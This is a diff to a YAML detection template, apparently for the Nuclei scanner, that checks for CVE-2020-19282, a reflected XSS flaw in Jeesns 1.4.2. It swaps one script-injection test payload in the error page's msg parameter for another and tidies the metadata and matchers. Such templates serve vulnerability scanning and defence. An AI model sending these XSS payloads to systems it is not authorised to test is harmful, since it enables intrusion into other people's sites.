diff --git a/cves/2020/CVE-2020-19282.yaml b/cves/2020/CVE-2020-19282.yaml
index 5feb200bef..eaec870c63 100644
--- a/cves/2020/CVE-2020-19282.yaml
+++ b/cves/2020/CVE-2020-19282.yaml
@@ -1,28 +1,26 @@
id: CVE-2020-19282
info:
- name: Jeesns 1.4.2 XSS
+ name: Jeesns 1.4.2 XSS
author: pikpikcu
severity: medium
- description: reflected cross-site scripting (XSS) vulnerability in Jeesns 1.4.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the system error message's text field.
+ description: Reflected cross-site scripting (XSS) vulnerability in Jeesns 1.4.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the system error message's text field.
reference:
- https://github.com/zchuanzhao/jeesns/issues/11
- https://nvd.nist.gov/vuln/detail/CVE-2020-19282
- tags: cves,cve2020,jeesns,xss
+ tags: cve,cve2020,jeesns,xss
requests:
- method: GET
path:
- - "{{BaseURL}}/error?msg=%3CScript%3Eprompt(document.domain)%3C/Script%3E"
- headers:
- Content-Type: application/x-www-form-urlencoded
+ - "{{BaseURL}}/error?msg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
words:
- - ''
part: body
- type: status
@@ -30,6 +28,6 @@ requests:
- 200
- type: word
- words:
- - 'Content-Type: text/html'
part: header
+ words:
+ - text/html